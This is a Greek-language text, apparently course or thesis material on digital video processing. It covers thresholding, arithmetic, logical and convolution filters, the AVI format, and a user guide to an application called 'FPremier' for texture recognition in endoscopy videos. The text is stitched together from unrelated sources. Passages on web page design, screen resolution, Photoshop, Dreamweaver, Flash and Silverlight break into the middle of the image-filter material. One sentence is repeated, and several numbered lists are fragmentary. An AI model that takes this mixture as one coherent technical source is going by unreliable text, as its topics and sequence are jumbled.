Επεξεργασία Βίντεο 1. Ο τελικός στόχος µας στην εργασία αυτή είναι να εφαρµόσουµε αλγορίθµους αναγνώρισης προτύπων για να αναγνωρίσουµε διάφορες µορφές και αντικείµενα στα βίντεο που επεξεργαζόµαστε. Για να επιτευχθεί αυτό πρέπει να ακολουθηθεί µια σειρά από ενέργειες. 2. Το πρώτο βήµα που πρέπει να γίνει είναι ο χωρισµός του βίντεο στα καρέ από τα οποία αποτελείται. Στη συνέχεια γίνεται η επεξεργασία κάθε ενός από αυτά ξεχωριστά σαν να ήταν µια ανεξάρτητη εικόνα. 3. Πριν από την αναγνώριση προηγείται το στάδιο της προ-επεξεργασίας των εικόνων. Σε αυτό εφαρµόζονται µια σειρά από φίλτρα και µετασχηµατισµοί στα καρέ του βίντεο προκειµένου να αποκτήσουν την επιθυµητή µορφή και χρήσιµες ιδιότητες. 4. Για παράδειγµα αποµακρύνεται ο θόρυβος, αναδεικνύονται οι ακµές, τα περιγράµµατα, οι υφές και γενικότερα τα χαρακτηριστικά που µας ενδιαφέρουν.

Στη συνέχεια ακολουθεί το στάδιο της ανάλυση της εικόνας. 5. Στη συνέχεια ακολουθεί το στάδιο της ανάλυση της εικόνας. Συγκεκριµένα εφαρµόζονται αλγόριθµοι αναγνώρισης προτύπων που βασίζονται στην αναγνώριση υφής. Τα αποτελέσµατα που παίρνουµε από το στάδιο της αναγνώρισης προτύπων είναι µια σειρά από εικόνες. 6. Έτσι το τελικό στάδιο της επεξεργασίας µας είναι η δηµιουργία ενός νέου βίντεο τα καρέ του οποίου αποτελούν οι εικόνες που έχουν δηµιουργηθεί. Η παραπάνω διαδικασία φαίνεται σχηµατικά στο αρχικό σχήµα (διαφάνεια) .

Oι τεχνικές της ψηφιακής επεξεργασίας εικόνας χωρίζονται, ανάλογα µε το πεδίο στο οποίο εφαρµόζονται, σε δυο βασικές κατηγορίες. Έτσι υπάρχουν αυτές που εφαρµόζονται στο χωρικό πεδίο, δηλαδή απευθείας στα εικονοστοιχεία της εικόνας, και αυτές που εφαρµόζονται στο πεδίο των συχνοτήτων (Το πεδίο των συχνοτήτων µας δίνει τις «εναλλαγές» στις τιµές της φωτεινότητας στα εικονοστοιχεία µιας εικόνας αντί για τις ίδιες τις τιµές τους).

Για τις τελευταίες απαιτείται µετατροπή της εικόνας από το πεδίο του χώρου στο πεδίο των συχνοτήτων. Αυτό γίνεται µε την χρήση του δισδιάστατου διακριτού µετασχηµατισµού Fourier. Μετά την εφαρµογή των φίλτρων στο πεδίο της συχνότητας απαιτείται ο αντίστροφος διακριτός µετασχηµατισµός Fourier για την απεικόνιση του αποτελέσµατος.

Όλες οι τεχνικές που παρουσιάζονται εφαρµόζονται στο πεδίο του χώρου.

Όπου αυτό είναι δυνατό γίνεται σύγκριση και αναφορά µε την ανάλογη διαδικασία που υπάρχει για το πεδίο των συχνοτήτων. Αναλυτικές πληροφορίες για τα φίλτρα που παρουσιάζονται εδώ και γενικότερα για την ψηφιακή επεξεργασία εικόνας µπορούν να βρεθούν στα βιβλία των Gonzales-Woods [2] και Πήτα [3]. Οι υλοποιήσεις των τεχνικών αυτών έγιναν µε τη βοήθεια της βιβλιοθήκης "IPL - Image Processing Library" της Intel [4].

Η κατωφλίωση επιτρέπει την παραγωγή µιας δίτιµης εικόνας (Bitonal image),

που

αποτελείται µόνο από τιµές φωτεινότητας 0 και 255, από µια ασπρόµαυρη εικόνα. Αυτό γίνεται µε τη χρήση του “κατωφλίου” δηλαδή µιας τιµής που επιλέγεται µεταξύ του 0 και 255. Όσα εικονοστοιχεία έχουν τιµή κάτω από το κατώφλι µηδενίζονται. Αντίστοιχα όσα έχουν πάνω από αυτό λαµβάνουν ως νέα τιµή το 255. Η τεχνική αυτή εφαρµόζεται και σε έγχρωµες εικόνες. Σε αυτήν την περίπτωση το παραγόµενο αποτέλεσµα δεν είναι µια δίτιµη εικόνα

Το κατώφλι εφαρµόζεται σε κάθε κανάλι ξεχωριστά. Το αποτέλεσµα είναι να υπάρχουν οκτώ διαφορετικά δυνατά χρώµατα για τα εικονοστοιχεία της νέας εικόνας: Παράδειγµα κατωφλίωσης στην ασπρόµαυρη εικόνα 'flowers_Gray' και στην έγχρωµη εικόνα 'flowers_RGB' µε τιµή κατωφλίου 124. Οι αρχικές εικόνες φαίνονται στο σχήµα. Τα αριθµητικά φίλτρα αποτελούν απλές αριθµητικές πράξεις που γίνονται στις τιµές των εικονοστοιχείων της εικόνας εισόδου. Χωρίζονται σε δυο κατηγορίες. Στην πρώτη υπάρχει µόνο η εικόνα εισόδου και ένας σταθερός αριθµός. Στη δεύτερη απαιτείται και µια δεύτερη εικόνα, πέρα της εικόνας εισόδου, που ονοµάζεται µάσκα και πρέπει να έχει τις ίδιες διαστάσεις µε την εικόνα εισόδου. Κάθε εικονοστοιχείο της εικόνας εισόδου αποτελεί τον έναν τελεστέο της πράξης. Ο δεύτερος τελεστέος στην πρώτη κατηγορία είναι ο σταθερός αριθµός ενώ στη δεύτερη είναι το αντίστοιχο εικονοστοιχείο της µάσκας.

Οι επιτρεπτές πράξεις είναι: 1. Πρόσθεση. Προσθέτονται οι δυο τελεστέοι. 2. Αφαίρεση. Αφαιρείται η εικόνα εισόδου από τον δεύτερο τελεστέο (ή το αντίστροφο).

3. Πολλαπλασιασµός. Πολλαπλασιάζονται οι δυο τελεστέοι. 4. Πολλαπλασιασµός µε κανονικοποίηση. Πολλαπλασιάζονται οι δυο τελεστέοι και γίνεται κανονικοποίηση του αποτελέσµατος. 5. Τετράγωνο (Scare). Στην περίπτωση αυτή δεν υπάρχει δεύτερος τελεστέος. Απλά η τιµή του κάθε εικονοστοιχείου της εικόνας εισόδου υψώνεται στο τετράγωνο. Τα δυαδικά φίλτρα είναι παρόµοια περίπτωση µε την δεύτερη κατηγορία των αριθµητικών φίλτρων. Η διαφορά που υπάρχει είναι ότι αντί για αριθµητικές πράξεις έχουµε λογικές πράξεις και συγκεκριµένα: •

Λογικό Και (AND)

•

Λογικό Η΄ (OR)

•

Αποκλειστικό Η΄ (XOR)

Οι υπολογισµοί γίνονται αφού πρώτα οι τιµές των εικονοστοιχείων µετατραπούν στις αντίστοιχες δυαδικές τους αναπαραστάσεις.

Περιεκτικότητα πληροφορίας Θα πρέπει κανείς να έχει πάντοτε κατά νου πως μέσα στα 480 χιλιάδες εικονοστοιχεία (που προκύπτουν από μία οθόνη ανάλυσης 800 Χ 600), πρέπει ένα αρκετά μεγάλο ποσοστό από την περιοχή της οθόνης να περικλείει χρήσιμη πληροφορία για τον επισκέπτη. Όσο απλή κι αν φαίνεται αυτή η παρατήρηση, εύκολα μπορεί να αποδειχθεί ότι συχνά η πληροφορία αποτελεί το 20% ή ακόμα και μικρότερο ποσοστό της οθόνης που εμφανίζεται στο χρήστη. Για παράδειγμα, όταν το 20% - 30% της οθόνης καλύπτεται ήδη από τα γραφικά του λειτουργικού συστήματος και του φυλλομετρητή ιστοσελίδων (browser), οι επιλογές πλοήγησης καταλαμβάνουν το 30%, και το κενό μαζί με τα γραφικά και τις εικαστικές απεικονίσεις καλύπτουν και αυτά ένα 20% της συνολικής χωρητικότητας της οθόνης, ο χώρος που τελικά αφιερώνεται στη χρήσιμη πληροφορία για το χρήστη είναι ελάχιστος.

Χρήση πολυμεσικού υλικού (multimedia) Μολονότι η χρήση πολυμεσικού υλικού σε μια σελίδα καθιστά την παρουσίαση πιο εντυπωσιακή και φιλική προς το χρήστη, η αναπόφευκτη χρονική καθυστέρηση συνήθως κάνει τους σχεδιαστές πολύ προσεκτικούς κατά την ενσωμάτωσή του. Οι εικόνες καλό είναι να μην καταλαμβάνουν μεγάλο χώρο στην οθόνη και να έχουν το μέγεθος που ακριβώς απαιτείται για την παρουσίασή τους. Η συρρίκνωση της εικόνας, που πολλές φορές λανθασμένα χρησιμοποιείται από τους σχεδιαστές, δεν φέρνει τα αναμενόμενα

αποτελέσματα. Αντ' αυτού, όταν θέλουμε να φέρουμε μια εικόνα σε συγκεκριμένες διαστάσεις χρησιμοποιούμε τις μεθόδους της εστίασης και της κοπής, οι οποίες μειώνουν και το μέγεθος της εικόνας. Αφού γίνει αυτό, αποθηκεύουμε την τελική εικόνα σε συμπιεσμένη

μορφή (συνήθως JPG ή GIF). .

Η κινούμενη εικόνα και το video, παρόλο που επιβαρύνουν το website, είναι αρκετές φορές σκόπιμα. Παρακάτω αναφέρονται ενδεικτικά κάποιες περιπτώσεις που η εφαρμογή τέτοιων μέσων είναι χρήσιμη: •

Απεικόνιση τρισδιάστατων αντικειμένων

•

Απεικόνιση αλλαγής καταστάσεων σε αντικείμενα

•

Εντυπωσιασμός και εστίαση του ενδιαφέροντος του χρήστη

•

Προβολή διαφημιστικών spots

•

Προώθηση τηλεοπτικών γεγονότων μικρής χρονικής διάρκειας

Μέγεθος οθόνης Λαμβάνοντας υπόψη ότι οι χρήστες διαθέτουν οθόνες με διαφορετική ανάλυση, είναι καλό να υπάρχει μια εικόνα για τη μέση ανάλυση που χρησιμοποιούν ανά πάσα στιγμή οι περισσότεροι χρήστες στο Vιαδίκτυο, και να αξιοποιηθεί ανάλογα κατά το σχεδιασμό των σελίδων. Τα τελευταία χρόνια η χρήση της ανάλυσης 640 Χ 480 έχει μειωθεί ιδιαίτερα, και πάνω από το 50% των χρηστών του Internet χρησιμοποιεί ανάλυση οθόνης 800 X 600. Είναι λοιπόν χρήσιμο οι σχεδιαστές να χρησιμοποιούν την παραπάνω ανάλυση ως βασική για τη δημιουργία σελίδων, ώστε να αποφεύγεται το κατέβασμα (scroll down), εφόσον βέβαια αυτό δεν προκαλείται ούτως ή άλλως από το μήκος της σελίδας (την κάθετη διάταξη του περιεχομένου επί μακρών).

Photoshop Το πρόγραμμα Photoshop της εταιρείας Adobe είναι ένα πολύ δυνατό και δημοφιλές πρόγραμμα επεξεργασίας εικόνας, με το οποίο μπορούμε να επεξεργαστούμε φωτογραφικές εικόνες που έχουμε στον σκληρό δίσκο του υπολογιστή μας και περιέχει βασικά δύο ομάδες εργαλείων, μια για ζωγραφική και μια για επεξεργασία εικόνας. Είναι δημοφιλές γιατί λειτουργεί σε πολλά λειτουργικά συστήματα, όπως το Mac, τα Windows, αλλά και επειδή το Adobe Photoshop έχει το πιο διαισθητικό

περιβάλλον χρήστη, το πληρέστερο set από εργαλεία και πολλά βοηθητικά βιβλία. Όταν επεξεργαζόμαστε μια εικόνα στο Photoshop, μπορούμε να την οξύνουμε (sharpen) για να διορθώσουμε την εστίασή της, να θολώσουμε το φόντο της, να αλλάξουμε τη φωτεινότητα και την αντίθεσή της ή και να αντικαταστήσουμε ένα χρώμα μ’ ένα άλλο. Μπορούμε ακόμη να αποσπάσουμε ένα κομμάτι από μια εικόνα και να το αντιγράψουμε, να του αλλάξουμε μέγεθος και γενικά να κάνουμε πάνω του ό,τι επεξεργασία θέλουμε.

Dreamweaver Το Dreamweaver είναι ένα πρόγραμμα δημιουργίας και επεξεργασίας ιστοσελίδων δηλ κώδικα HTML που είναι ιδιαίτερα εύκολο και φιλικό στην χρήση του. Μας δίνει τη δυνατότητα να δημιουργήσουμε μία τοποθεσία WEB χωρίς να χρειαστεί να δούμε καθόλου την γλώσσα HTML, αν θέλουμε όμως μπορούμε ανά πάσα στιγμή να ελέγξουμε την HTML ώστε να έχουμε μία άποψη για το τι γράφεται εκεί. Το Dreamweaver λειτουργεί με τη μορφή WYSIWYG (What You See Is What You Get) δηλαδή αυτό που βλέπετε, αυτό παίρνετε. Το Dreamweaver είναι εξαίρετο για να μπορούμε να δημιουργήσουμε γρήγορα και εύκολα φόρμες, πλαίσια (frames), πίνακες (tables) και άλλα αντικείμενα της HTML. Στο σημείο αυτό πρέπει να σημειωθεί ότι το Dreamweaver μπορεί να χρησιμοποιηθεί και για την δημιουργία εφαρμογών πολυμέσων.

Το Dreamweaver έχει δυνατότητες για την δημιουργία δυναμικής HTML(DHTML) και επιτρέπει την απόλυτη τοποθέτηση περιεχομένων, την δημιουργία επιπέδων (layers) καθώς και την συγγραφή σεναρίων (scripts), επίσης περιέχει δικές του συμπεριφορές που είναι έτοιμα scripts, τα οποία μπορούμε να τα προσθέσουμε σε ένα αντικείμενο. Τέλος μας παρέχει την ελευθερία να σχεδιάσουμε οπτικά την εμφάνιση μιας ιστοσελίδας και την δύναμη να την κάνουμε να λειτουργεί όπως ακριβώς θέλουμε.

Adobe Flash Το Adobe Flash δημιουργήθηκε από την Macromedia και τώρα αναπτύσσεται και διανέμεται από την Adobe, μετά την απόκτησή του. Το Flash είχε αρχικά σχεδιαστεί για την απεικόνιση 2-διαστάσεων διανυσματικών animations, αλλά πλέον έχει γίνει κατάλληλο για τη δημιουργία πλούσιων εφαρμογών Internet, streaming video και ήχου. Χρησιμοποιεί διανυσματικά γραφικά για να ελαχιστοποιηθεί το μέγεθος του αρχείου και δημιουργεί αρχεία του εύρους ζώνης και του

χρόνου φόρτωσης. Το Flash είναι μια κοινή μορφή για τα παιχνίδια, κινούμενα σχέδια ενσωματωμένα σε ιστοσελίδες. Το Flash Player είναι χτισμένο σε ορισμένα προγράμματα περιήγησης και είναι διαθέσιμο για άλλες πρόσφατες εκδόσεις των φυλλομετρητών (όπως Mozilla Firefox, Opera, Safari και Internet Explorer) σε επιλεγμένες πλατφόρμες.

Silver Light Το Silverlight είναι ένα plug-in για πλατφόρμες και browsers που επιτρέπει χαρακτηριστικά, όπως κινούμενα σχέδια, γραφικά και φορέα ήχου-βίντεο που χαρακτηρίζουν πλούσιες εφαρμογές Vιαδικτύου. Ουσιαστικά είναι το αντίστοιχο Flash της Microsoft μιας και ο λόγος κυκλοφορίας του είναι για να “χτυπήσει” το Flash. Η έκδοση 2.0 του Silverlight κυκλοφόρησε τον Οκτωβρίου 2008 και προσφέρει επιπλέον δυνατότητες διαδραστικότητας και στήριξης. NET γλώσσες και εργαλεία ανάπτυξης. Είναι συμβατό με πολλά web browser προϊόντα που χρησιμοποιούνται για τα Microsoft Windows και Mac, λειτουργικά συστήματα κινητών συσκευών, αρχίζοντας με Windows Mobile. Ο συγκερασµός είναι µια πολύ συνηθισµένη τεχνική και είναι ανάλογη µε την χρήση κάποιου φίλτρου στο πεδίο των συχνοτήτων. Επιλέγεται µια µάσκα (πίνακας) µεγέθους NxN µε προκαθορισµένες σταθερές τιµές. Στην συνέχεια κάθε εικονοστοιχείο της εικόνας πολλαπλασιάζεται µε το κεντρικό στοιχείο της µάσκας και τα γειτονικά του µε τα αντίστοιχα στοιχεία της µάσκας. Με επιλογή κατάλληλης µάσκας µπορούµε να πάρουµε τα ίδια αποτελέσµατα που θα είχαµε µε ένα χαµηλοπερατό ή υψηλοπερατό φίλτρο στο πεδίο των συχνοτήτων. Μια απλή χρήση ενός χαµηλοπερατού φίλτρου είναι η αποµάκρυνση θορύβου υψηλών συχνοτήτων (κρουστικού) και ενός υψηλοπερατού φίλτρου η ανίχνευση ακµών. Το φίλτρο µέσου όρου χρησιµοποιείται για την αποµάκρυνση κρουστικού θορύβου από µια εικόνα. Σε κάθε εικονοστοιχείο της αρχικής εικόνας εφαρµόζουµε µια τετράγωνη µάσκα µεγέθους NxΝ µε τιµές 1/(ΝxΝ). Έτσι επιτυγχάνεται η αποµάκρυνση του θορύβου, ταυτόχρονα όµως προκαλείται θάµπωµα στην εικόνα ανάλογο του Ν. Για το λόγο αυτό αναφέρεται και ως φίλτρο θαµπώµατος (‘Blur’). Ανάλογα αποτελέσµατα µπορούµε να επιτύχουµε στο πεδίο των συχνοτήτων µε χρήση χαµηλοπερατού φίλτρου. To AVI (Audio Video Interleaved / Ήχος Βίντεο Πεπλεγµένα) είναι ένας τρόπος αποθήκευσης

κινούµενης εικόνας βίντεο και ήχου ανεπτυγµένος από τη Microsoft. Τα αρχεία βίντεο AVI ακολουθούν το γενικότερο πρότυπο των αρχείων RIFF. Η εσωτερική οργάνωση των RIFF µπορεί να βρεθεί στο παράρτηµα 2.9. Γενικά ένα AVI αποτελείται από ένα σύνολο διάφορων τύπων ροών δεδοµένων (Streams). Οι ροές αυτές µπορεί να είναι βίντεο, ήχος και γενικών δεδοµένων. Για παράδειγµα ένα τυπικό βίντεο µε στερεοφωνικό ήχο περιέχει συνολικά τρεις ροές: Μια βασική ροή βίντεο και δύο ήχου µια για το αριστερό και µια δεξιό κανάλι. Η πιο απλή περίπτωση βίντεο περιέχει µόνο µια ροή αυτή της κινούµενης εικόνας. Αυτού του είδους είναι και τα βίντεο µε τα οποία θα ασχοληθούµε. Τα δεδοµένα στο AVI µπορούν να είναι συµπιεσµένα ή και ασυµπίεστα. Τα ασυµπίεστα δεδοµένα έχουν το προτέρηµα ότι είναι άµεσα προσπελάσιµα και η επεξεργασία τους γίνεται άµεσα. Το µειονέκτηµα τους είναι ότι καταλαµβάνουν πάρα πολύ χώρο στο δίσκο. Αντίθετα τα συµπιεσµένα βίντεο είναι ναι µεν πολύ µικρότερα, απαιτούν όµως πιο περίπλοκες διαδικασίες στο χειρισµό τους και χάνουν µέρος της αρχικής πληροφορίας που φέρουν αφού η πλειονότητα των προτύπων συµπίεσης χρησιµοποιούν απολεστικούς αλγόριθµους. Η συµπίεση και αποσυµπίεση των βίντεο επιτυγχάνεται µε τη χρήση των συµπιεστών (Video Codec). Αυτοί είναι προγράµµατα του συστήµατος που υλοποιούν πρότυπα συµπίεσης βίντεο. Για παράδειγµα υπάρχουν συµπιεστές για ΜPEG-1, MPEG-2, Intel Indeo κλπ. Το βασικό πρόγραµµα που αναπτύχθηκε και εφαρµόζει όλες τις τεχνικές που παρουσιάστηκαν στο πρώτο µέρος είναι η εφαρµογή "FPremier". Είναι ένα πρόγραµµα ψηφιακής επεξεργασίας βίντεο σε πραγµατικό χρόνο. Τα βίντεο που υποστηρίζονται είναι τα AVI. Στις δυνατότητες του προγράµµατος περιλαµβάνονται: •

Προβολή βίντεο ΑVI.

•

Σειριακή εφαρµογή φίλτρων πάνω σε αυτό σε πραγµατικό χρόνο για προεπεξεργασία των καρέ του βίντεο.

•

Εξαγωγή χαρακτηριστικών υφής από τα καρέ του βίντεο.

•

Αναγνώριση

προτύπων

µε

βάση

τα

χαρακτηριστικά αυτά

από

προεκπαιδευµένο νευρωνικό δίκτυο. ∆ηµιουργία νέου βίντεο µε τα αποτελέσµατα της επεξεργασίας Τo βασικό παράθυρο της διεπαφής της εφαρµογής αφού έχει ανοιχθεί ένα αρχείο βίντεο προς επεξεργασία διαµορφώνεται όπως φαίνεται στο σχήµα. Τα στοιχεία από τα οποία αποτελείται η διεπαφή της εφαρµογής είναι: 1)Το παράθυρο του βίντεο εισόδου µε τίτλο “Source AVI”. 2) Tα παράθυρο του βίντεο εξόδου µε τίτλο “Output 1”.

3) Το παράθυρο αναπαραγωγής του βίντεο. 4) Το παράθυρο επιλογής καρέ. 5) Το παράθυρο επιλογής φίλτρων. 6) Το παράθυρο ιδιοτήτων του επιλεγµένου φίλτρου.

Στο πάνω µέρος της διεπαφής βρίσκονται τα µενού από τα οποία γίνονται κάποιες βασικές λειτουργίες της εφαρµογής. Στο µενού "File" υπάρχουν οι παρακάτω λειτουργίες: 1) "Open": Άνοιγµα ενός αρχείου AVI προς επεξεργασία. 2) "Close": Κλείσιµο ενός ανοιγµένου αρχείου. 3) "Properties": Ιδιότητες του ανοιγµένου αρχείου. 4) "Export Frame": Εξαγωγή ενός καρέ του βίντεο σε αρχείο εικόνας BMP. 5) "Export AVI": Αποθήκευση του βίντεο µε εφαρµοσµένα πάνω του όλα τα επιλεγµένα φίλτρα. 6) "Exit": Έξοδος από την εφαρµογή.

Στο µενού "Video" έχουµε τις ίδιες επιλογές µε αυτές που έχουµε και στο παράθυρο αναπαραγωγής του βίντεο (παρ. 2.1.2). Στο µενού "Filter" έχουµε την δυνατότητα να προσθέσουµε ένα φίλτρο στο βίντεο από αυτά που υποστηρίζονται από την εφαρµογή (παρ. 2.1.3). Από το µενού "Recognition" έχουµε τις εξής δυνατότητες: 1) "Video Recognition": Ξεκινά την διαδικασία αναγνώρισης υφής σε ένα βίντεο. 2) "Frame Extract Features": Εξάγει τα χαρακτηριστικά υφής σε ένα συγκεκριµένο καρέ. 3) "Frame Recognition": Αναγνωρίζει µια υφή σε ένα καρέ µε βάση τα χαρακτηριστικά που έχουµε εξάγει και ένα προ-εκπαιδευµένο νευρωνικό δίκτυο για την συγκεκριµένη υφή.

Το παράθυρο επιλογής καρέ εκτελεί δυο βασικές λειτουργίες. Καταρχάς δείχνει ποιος είναι ο αριθµός του καρέ του βίντεο που εµφανίζεται αυτή τη στιγµή στο ενεργό παράθυρο βίντεο. Επιπλέον µετακινώντας την ανάλογη µπάρα είτε γράφοντας έναν συγκεκριµένο αριθµό στο πεδίο “Frame:” µπορούµε να µετακινηθούµε στο αντίστοιχο καρέ του βίντεο. Τα πεδία “X:” και “Y:” µας δίνουν τις συντεταγµένες του εικονοστοιχείου πάνω από το οποίο βρίσκεται ο δείκτης του ποντικιού. Το πλήκτρο µε το σύµβολο του µικρού λουκέτου όταν είναι πατηµένο «κλειδώνει» τον αριθµό του καρέ του παραθύρου του βίντεο εισόδου µε του ενεργοποιηµένου παράθυρου

του βίντεο εξόδου µε αποτέλεσµα να έχουµε ταυτόχρονη αναπαραγωγή του βίντεο και στα δυο παράθυρα και να µπορούν να γίνονται εύκολα συγκρίσεις. Από το παράθυρο αυτό γίνεται ο έλεγχος της αναπαραγωγής του βίντεο. Περιέχει επτά πλήκτρα, τα οποία µε την σειρά που εµφανίζονται είναι: •

Fast Backward - Μας µεταφέρει στην αρχή του βίντεο.

•

Backward - Μας µεταφέρει ένα καρέ πίσω από αυτό που βρισκόµαστε.

•

Play - Ξεκινάει την αναπαραγωγή του βίντεο.

•

Pause - ∆ιακόπτει προσωρινά την αναπαραγωγή του βίντεο.

•

Stop - ∆ιακόπτει την αναπαραγωγή του βίντεο και µας µεταφέρει στο πρώτο του καρέ.

•

Forward - Μας µεταφέρει στο επόµενο καρέ από αυτό που βρισκόµαστε.

•

Fast Forward - Μας µεταφέρει στο τελευταίο καρέ του βίντεο.

Στο παράθυρο αυτό βρίσκεται η λίστα των φίλτρων από τα οποία περνάµε το βίντεο. Τα φίλτρα εφαρµόζονται σειριακά ξεκινώντας από αυτό που είναι στην κορυφή της λίστας. Στην σχήµα βλέπουµε ένα παράδειγµα µιας τέτοιας λίστας: Υπάρχουν τρία φίλτρα τα “Grayscale”, “Threshold” και “Convolution”. Στην κορυφή της λίστας είναι το “Grayscale” και είναι αυτό από το οποίο θα ξεκινήσει η εισαγωγή των φίλτρων. Κάτω από την λίστα βρίσκονται τέσσερα πλήκτρα ελέγχου της λίστας και µε τη σειρά που εµφανίζονται είναι: •

Βέλος προς τα πάνω - Μετακινεί το επιλεγµένο φίλτρο µια θέση πιο πάνω στην λίστα.

•

Βέλος προς τα κάτω - Μετακινεί το επιλεγµένο φίλτρο µια θέση πιο κάτω στην λίστα.

•

∆ιαγραφή - ∆ιαγράφει το επιλεγµένο φίλτρο από την λίστα.

•

∆ιαγραφή όλων (CA) - ∆ιαγράφει όλη την λίστα των φίλτρων.

Σε αυτή την παράγραφο παρουσιάζονται όλα τα φίλτρα επεξεργασίας εικόνας που υποστηρίζονται από την εφαρµογή. Το αποτέλεσµα της εφαρµογής του κάθε φίλτρου πάνω σε ένα καρέ από το βίντεο εισόδου έχουν ήδη παρουσιαστεί 1. Η µοναδική επιλογή που θέτουµε είναι η τιµή του κατωφλίου. Η τιµή αυτή πρέπει να είναι µεταξύ του 0 και του 255. 2. Στο πρώτο πλαίσιο επιλέγουµε την αριθµητική πράξη που θέλουµε να εκτελέσουµε: •

Add - Πρόσθεση

•

Subtract - Αφαίρεση

•

Multiply - Πολλαπλασιασµός

•

Multiply & Scale - Πολ/σµός µε κλίµακα

•

Square - Τετράγωνο

Στο πεδίο “Value” θέτουµε τον δεύτερο τελεστέο της πράξης. Στην περίπτωση της αφαίρεσης µπορούµε να αφαιρέσουµε τις τιµές των εικονοστοιχείων της εικόνας από το Value επιλέγοντας το “Flip”. 3. Στο πρώτο πλαίσιο επιλέγουµε την αριθµητική πράξη που θέλουµε να εκτελέσουµε όπως και στην περίπτωση των αριθµητικών πράξεων µε µια εικόνα. Στο πεδίο “Filename” εισάγουµε το όνοµα του αρχείου εικόνας που θα αποτελέσει τον δεύτερο τελεστέο της αριθµητικής πράξης. Με το πλήκτρο “Browse” µπορούµε να εντοπίσουµε το αρχείο αυτό στο δίσκο. 4. Στο πρώτο πλαίσιο επιλέγουµε την λογική πράξη που θέλουµε να εκτελέσουµε: •

AND - Λογικό ΚΑΙ

•

OR - Λογικό Η’

•

XOR - Αποκλειστικό Η’

Στο πεδίο “Filename” εισάγουµε το όνοµα του αρχείου εικόνας που θα αποτελέσει τον δεύτερο τελεστέο της λογικής πράξης. Με το πλήκτρο “Browse” µπορούµε να εντοπίσουµε το αρχείο αυτό στο δίσκο 5. Στο πρώτο πλαίσιο γίνεται επιλογή του µεγέθους της γειτονίας. Στο πεδίο “Columns” επιλέγουµε το πλάτος της και στο “Rows” το ύψος της. Με τα πεδία “X” και “Y” επιλέγουµε πιθανή µετακίνηση της τελικής εικόνας. Συνέλιξη. Στα εννέα µικρά τετράγωνα του πλαισίου “Convolution Kernel” επιλέγουµε την µάσκα του συγκερασµού. Πατώντας το πλήκτρο “Create Kernel” οριστικοποιούµε τις αλλαγές µας. Η αναγνώριση προτύπων στο βίντεο γίνεται από το µενού Recognition Video Recognition. Εµφανίζεται ένα βασικό παράθυρο που περιέχει τρεις καρτέλες ρυθµίσεων σχετικές µε τα χαρακτηριστικά, τα καρέ του βίντεο εισόδου και τα αρχεία εξόδου που θα δηµιουργηθούν. Στην καρτέλα αυτή επιλέγουµε τα χαρακτηριστικά βάση των οποίων θα γίνει η ταξινόµηση. Στο πεδίο “Windows Size” επιλέγουµε το µέγεθος του παραθύρου µε το οποίο θα «προσπελαθεί» η εικόνα. Το “Step” είναι το βήµα σε εικονοστοιχεία µε το οποίο θα ολισθαίνει το παράθυρο. Στο πεδίο “Measures” επιλέγουµε τα χαρακτηριστικά που θέλουµε να εξάγουµε και στο “Angles” τις γωνίες για τις οποίες θα εξάγονται αυτά. Στο “Graylevels” µπορούµε να ορίσουµε ένα διαφορετικό βάθος χρώµατος για την εικόνα εισόδου από αυτό που έχει, αφού µε λιγότερα χρώµατα, ανάλογα µε την εφαρµογή, µπορεί να γίνεται πιο εύκολα και γρήγορα η αναγνώριση της επιθυµητής υφής.

Στην καρτέλα αυτή επιλέγουµε τα καρέ του βίντεο στα οποία θέλουµε να γίνει η αναγνώριση. Έχουµε τρεις επιλογές: •

All - Όλα τα καρέ

•

Region - Μια περιοχή του βίντεο. ∆ίνουµε αρχικό και τελικό καρέ.

•

Selection - Συγκεκριµένα καρέ. Στο ανάλογο πεδίο γράφουµε τους αριθµούς των καρέ χωρίζοντας τους µε κόµµατα.

Εδώ κάνουµε δυο βασικές επιλογές. Καταρχάς επιλέγουµε το προ- εκπαιδευµένο νευρωνικό δίκτυο που θα κάνει την ταξινόµηση των χαρακτηριστικών. Το νευρωνικό δίκτυο πρέπει να είναι αποθηκευµένο στο δίσκο σε µορφή αρχείου τύπου "MFN". Τέτοια αρχεία µπορεί να παράγει η εφαρµογή CoLD 10. Στη συνέχεια επιλέγουµε τις εξόδους που επιθυµούµε να πάρουµε. Επιλέγοντας το πεδίο "Save features" αποθηκεύουµε τα χαρακτηριστικά του κάθε καρέ σε αρχείο κειµένου µε κατάληξη ".FTR". Επιλέγοντας το πεδίο "Save Output As AVI" δηµιουργούµε ένα νέο βίντεο τύπου AVI µε τις ανασυσταµένες εικόνες που παίρνουµε µετά την αναγνώριση. Επιλέγοντας το πεδίο "Save intermediate bitmaps" αποθηκεύουµε όλα τα καρέ του βίντεο ως ξεχωριστές εικόνες bitmap τύπου ".BMP". Τέλος καθορίζουµε το γενικό όνοµα που θα έχουν τα αρχεία εξόδου (Θα διαφοροποιούνται ως προς την κατάληξη "FTR" για χαρακτηριστικά, "BMP" για εικόνες και "AVI" για βίντεο. Από το µενού “File Properties…” έχουµε την δυνατότητα να πάρουµε πληροφορίες σχετικά µε ένα αρχείο βίντεο που έχουµε ανοίξει. Το παράθυρο που εµφανίζεται χωρίζεται σε δυο «καρτέλες». Η µια περιέχει γενικές πληροφορίες για το αρχείο που ανοίχτηκε και η άλλη σχετικές µε τη ροή δεδοµένων βίντεο µέσα σε αυτό. Σε αυτή την παράγραφο θα παρουσιάσουµε πώς είναι δυνατή η χρήση της εφαρµογής ‘FPremier’ σε ιατρικά βίντεο. Συγκεκριµένα τα βίντεο εισόδου που έχουµε είναι από ενδοσκοπήσεις ασθενών και στόχος µας είναι να εντοπίσουµε σε αυτά πιθανούς καρκινικούς ιστούς. Η αναγνώριση γίνεται µε βάση προ-εκπαιδευµένο νευρωνικό δίκτυο και βασίζεται στα χαρακτηριστικά υφής των ιστών. Το βίντεο που παίρνουµε από µια ενδοσκόπηση είναι της µορφής που παρουσιάζεται στo σχήµα 31. Όπως µπορούµε εύκολα να παρατηρήσουµε γύρω από την εικόνα του ενδοσκοπίου υπάρχει ένα «µαύρο» πλαίσιο µε διάφορες πληροφορίες σχετικά µε τον ασθενή που προστίθεται κατά την εξέταση του. Αυτό το πλαίσιο είναι περιττό για την αναγνώριση που θέλουµε να επιτύχουµε και πρέπει να αποµακρυνθεί από το βίντεο. Αυτή η δυνατότητα µας δίνεται από την εφαρµογή µέσω της διαδικασίας επιλογής περιοχής ενδιαφέροντος στο βίντεο και εξαγωγής αυτής ως νέο βίντεο. Αφού ανοίξουµε το βίντεο του ενδοσκοπίου στην εφαρµογή

